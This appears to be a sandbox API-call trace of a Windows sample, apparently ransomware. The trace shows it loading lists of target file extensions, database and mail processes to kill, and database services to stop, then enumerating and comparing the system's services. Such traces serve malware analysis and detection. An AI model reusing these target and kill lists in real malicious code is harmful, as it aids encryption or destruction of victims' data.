	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6280c8
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x64dfc8
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x628110
	[0162.996] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dfc8, Size=0x8) returned 0x64dfa8
	[0162.996] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x626688
	[0162.996] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x626528
	[0162.996] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0162.996] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627cf8 | out: hHeap=0x610000) returned 1
	[0162.996] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0163.126] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x627f00
	[0163.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627f00, Size=0x20) returned 0x64dbd0
	[0163.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dbd0, Size=0x40) returned 0x627560
	[0163.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627560, Size=0x80) returned 0x627d60
	[0163.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627d60, Size=0x100) returned 0x628230
	[0163.126] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x627f00
	[0163.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627f00, Size=0x20) returned 0x64dba8
	[0163.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dba8, Size=0x40) returned 0x627b48
	[0163.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627b48, Size=0x80) returned 0x627d60
	[0163.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627d60, Size=0x100) returned 0x652770
	[0163.126] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x627f00
	[0163.126] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x64df48
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652b60
	[0163.127] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64df48, Size=0x8) returned 0x64dfb8
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x626848
	[0163.127] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dfb8, Size=0x10) returned 0x652b90
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x18) returned 0x626508
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1a) returned 0x64da18
	[0163.127] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652b90, Size=0x20) returned 0x64da40
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c) returned 0x64da90
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x16) returned 0x626628
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1a) returned 0x64d9a0
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x652a88
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x64df88
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x40) returned 0x627758
	[0163.127] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64df88, Size=0x8) returned 0x64e008
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x3c) returned 0x627518
	[0163.127] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64e008, Size=0x10) returned 0x652ae8
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x6266a8
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x18) returned 0x626868
	[0163.127] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652ae8, Size=0x20) returned 0x64dbf8
	[0163.127] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x24) returned 0x6269a8
	[0163.127] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0163.127] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x628230 | out: hHeap=0x610000) returned 1
	[0163.127] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0163.127] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x652770 | out: hHeap=0x610000) returned 1
	[0163.128] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64dc20
	[0163.212] EnumServicesStatusExW (in: hSCManager=0x64dc20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0163.217] GetLastError () returned 0xea
	[0163.217] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1b46) returned 0x655180
	[0163.217] EnumServicesStatusExW (in: hSCManager=0x64dc20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x655180, cbBufSize=0x1b46, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x655180, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0163.218] CloseServiceHandle (hSCObject=0x64dc20) returned 1
	[0163.219] lstrlenW (lpString="AppXSvc") returned 7
	[0163.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.238] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0163.238] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0163.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0163.238] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0163.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.238] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0163.238] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0163.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0163.238] lstrlenW (lpString="Audiosrv") returned 8
	[0163.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0163.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0163.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0163.239] lstrlenW (lpString="BFE") returned 3
	[0163.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0163.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0163.239] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0163.239] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0163.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0163.239] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0163.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.239] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0163.239] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0163.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0163.239] lstrlenW (lpString="CDPSvc") returned 6
	[0163.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.239] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0163.239] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0163.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0163.239] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0163.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.239] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0163.239] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0163.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0163.239] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0163.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0163.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0163.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0163.240] lstrlenW (lpString="CryptSvc") returned 8
	[0163.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.240] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0163.240] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0163.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0163.240] lstrlenW (lpString="DcomLaunch") returned 10
	[0163.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.240] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0163.240] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0163.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0163.240] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0163.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.240] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0163.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0163.241] lstrlenW (lpString="Dhcp") returned 4
	[0163.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0163.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0163.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0163.241] lstrlenW (lpString="Dnscache") returned 8
	[0163.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0163.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0163.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0163.241] lstrlenW (lpString="DPS") returned 3
	[0163.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0163.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0163.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0163.241] lstrlenW (lpString="DsmSvc") returned 6
	[0163.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0163.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0163.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0163.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0163.242] lstrlenW (lpString="DusmSvc") returned 7
	[0163.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0163.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0163.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0163.242] lstrlenW (lpString="EventLog") returned 8
	[0163.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0163.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0163.242] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0163.242] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0163.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0163.242] lstrlenW (lpString="EventSystem") returned 11
	[0163.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0163.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0163.242] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0163.242] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0163.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0163.242] lstrlenW (lpString="FontCache") returned 9
	[0163.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0163.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0163.242] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0163.242] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0163.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0163.242] lstrlenW (lpString="gpsvc") returned 5
	[0163.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0163.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0163.243] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0163.243] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0163.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0163.243] lstrlenW (lpString="iphlpsvc") returned 8
	[0163.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.243] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0163.243] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0163.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0163.243] lstrlenW (lpString="KeyIso") returned 6
	[0163.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0163.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0163.243] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0163.243] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0163.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0163.243] lstrlenW (lpString="LanmanServer") returned 12
	[0163.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0163.243] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0163.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0163.243] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0163.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0163.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0163.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0163.244] lstrlenW (lpString="lfsvc") returned 5
	[0163.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0163.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0163.244] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0163.244] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0163.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0163.244] lstrlenW (lpString="lmhosts") returned 7
	[0163.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0163.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0163.244] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0163.244] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0163.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0163.244] lstrlenW (lpString="LSM") returned 3
	[0163.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0163.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0163.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0163.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0163.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0163.244] lstrlenW (lpString="MpsSvc") returned 6
	[0163.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.244] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0163.244] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0163.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0163.244] lstrlenW (lpString="NcbService") returned 10
	[0163.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0163.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0163.245] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0163.245] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0163.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0163.245] lstrlenW (lpString="netprofm") returned 8
	[0163.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0163.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0163.245] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0163.245] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0163.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0163.245] lstrlenW (lpString="NgcSvc") returned 6
	[0163.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.245] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0163.245] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0163.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0163.245] lstrlenW (lpString="NlaSvc") returned 6
	[0163.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.245] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0163.245] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0163.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0163.245] lstrlenW (lpString="nsi") returned 3
	[0163.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0163.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0163.246] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0163.246] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0163.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0163.246] lstrlenW (lpString="PcaSvc") returned 6
	[0163.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.246] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0163.246] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0163.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0163.246] lstrlenW (lpString="PlugPlay") returned 8
	[0163.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.246] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0163.246] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0163.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0163.248] lstrlenW (lpString="Power") returned 5
	[0163.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0163.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0163.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0163.249] lstrlenW (lpString="ProfSvc") returned 7
	[0163.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0163.249] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0163.249] lstrlenW (lpString="RpcEptMapper") returned 12
	[0163.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0163.249] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0163.249] lstrlenW (lpString="RpcSs") returned 5
	[0163.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0163.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0163.249] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0163.249] lstrlenW (lpString="SamSs") returned 5
	[0163.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0163.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0163.249] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0163.249] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0163.250] lstrlenW (lpString="Schedule") returned 8
	[0163.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0163.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0163.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0163.250] lstrlenW (lpString="SecurityHealthService") returned 21
	[0163.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0163.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0163.250] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0163.250] lstrlenW (lpString="SENS") returned 4
	[0163.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
